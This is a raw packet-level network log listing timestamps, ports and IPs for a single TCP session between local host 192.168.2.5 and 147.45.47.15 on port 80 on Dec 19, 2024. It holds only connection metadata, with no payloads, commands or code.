Dec 19, 2024 08:52:55.428715944 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.430013895 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.430146933 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.430197954 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.431441069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.431561947 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.431615114 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.432929993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.433047056 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.433095932 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.434314013 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.434436083 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.434487104 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.435703039 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.435807943 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.435930014 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.437098026 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.437319994 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.437374115 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.438513041 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.438635111 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.438689947 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.439918995 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.440028906 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.440079927 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.443519115 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.443557978 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.443608999 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.443609953 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.443644047 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.443691015 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.444638014 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.444675922 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.444729090 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.445920944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.445957899 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.446033001 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.447196960 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.447384119 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.447437048 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.448438883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.448635101 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.448687077 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.449915886 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.450051069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.450095892 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.451241016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.451262951 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.451306105 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.452517033 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.452672958 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.452725887 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.453857899 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.454185963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.454237938 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.455370903 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.455389977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.455437899 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.456753016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.456903934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.456969023 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.457699060 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.457791090 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.457834005 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.459084034 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.459265947 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.459330082 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.460458040 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.460576057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.460627079 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.461841106 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.462061882 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.462105989 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.463171005 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.463291883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.463339090 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.464570999 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.464675903 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.464721918 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.466058969 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.466167927 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.466214895 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.467305899 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.520207882 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.582771063 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.582845926 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.582911015 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.583158016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.583268881 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.583321095 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.584208965 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.584799051 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.584847927 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.585249901 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.585411072 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.585455894 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.586215019 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.586285114 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.586328983 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.587153912 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.587246895 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.587296963 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.588150978 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.588275909 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.588356018 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.589086056 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.589234114 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.589281082 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.590076923 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.590189934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.590266943 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.591025114 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.591099024 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.591147900 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.592027903 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.592133045 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.592185974 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.592947960 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.593065023 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.593122005 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.593907118 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.594039917 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.594083071 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.594907999 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.595016956 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.595057964 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.595873117 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.595977068 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.596019983 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.596828938 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.596935987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.596982002 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.597822905 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.597938061 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.597982883 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.598767042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.598972082 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.599020004 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.599724054 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.599864960 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.599911928 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.600688934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.600882053 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.600954056 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.601659060 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.601741076 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.601783991 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.602657080 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.602767944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.602812052 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.603593111 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.603735924 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.603787899 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.604624987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.604690075 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.604734898 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.605551004 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.605669975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.605717897 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.606513977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.606617928 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.606662035 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.607479095 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.607578993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.607621908 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.608437061 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.608556032 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.608623028 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.609395981 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.609524012 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.609568119 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.610373974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.610635042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.610678911 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.611361027 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.611465931 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.611532927 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.612337112 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.612472057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.612514019 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.613262892 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.613393068 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.613435984 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.614218950 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.614373922 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.614427090 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.615423918 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.615483999 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.615535975 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.616172075 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.616291046 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.616338015 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.617120028 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.617253065 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.617305994 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.618096113 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.618210077 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.618266106 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.619097948 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.619194031 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.619307995 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.620093107 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.620157003 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.620213985 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.621031046 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.621154070 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.621202946 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.622067928 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.622334003 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.622416019 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.622978926 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.623089075 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.623140097 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.623933077 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.624088049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.624138117 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.624979973 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.625044107 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.625096083 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.625937939 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.626065016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.626117945 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.626827955 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.627063990 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.627120018 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.627866983 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.627932072 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.627985001 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.628782034 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.628875017 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.628922939 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.629422903 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.629722118 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.629823923 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.629899025 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.630682945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.630784988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.630831003 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.631690979 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.631745100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.631791115 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.632611036 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.632757902 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.632827044 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.633517981 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.633541107 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.680056095 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.773739100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.773859978 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.773940086 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.774080992 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.774262905 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.774317980 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.775083065 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.775208950 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.775258064 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.776074886 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.776128054 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.776170969 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.777030945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.777084112 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.777128935 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.777975082 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.778093100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.778141022 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.778959036 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.779062986 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.779112101 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.779910088 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.780020952 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.780070066 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.780849934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.780944109 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.780986071 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.781805038 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.781907082 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.781955004 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.782787085 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.783066988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.783113956 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.783813000 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.783967972 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.784041882 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.784698963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.784828901 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.784873962 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.785681009 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.785784960 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.785841942 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.786645889 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.786750078 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.786799908 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.787605047 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.787837982 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.787884951 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.788589001 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.788706064 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.788750887 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.789551020 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.789655924 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.789707899 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.790515900 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.790632010 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.790684938 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.791481018 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.791625023 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.791677952 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.792457104 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.792555094 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.792602062 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.793426991 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.793543100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.793591022 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.794377089 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.794493914 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.794567108 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.795352936 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.795464039 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.795516014 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.796351910 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.796467066 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.796514034 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.797297001 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.797384024 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.797440052 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.798228025 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.798352957 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.798403978 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.799216986 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.799432039 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.799474955 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.800250053 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.800295115 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.800350904 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.801171064 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.801265001 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.801316977 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.802198887 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.802279949 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.802615881 CET	49705	80	192.168.2.5	147.45.47.15
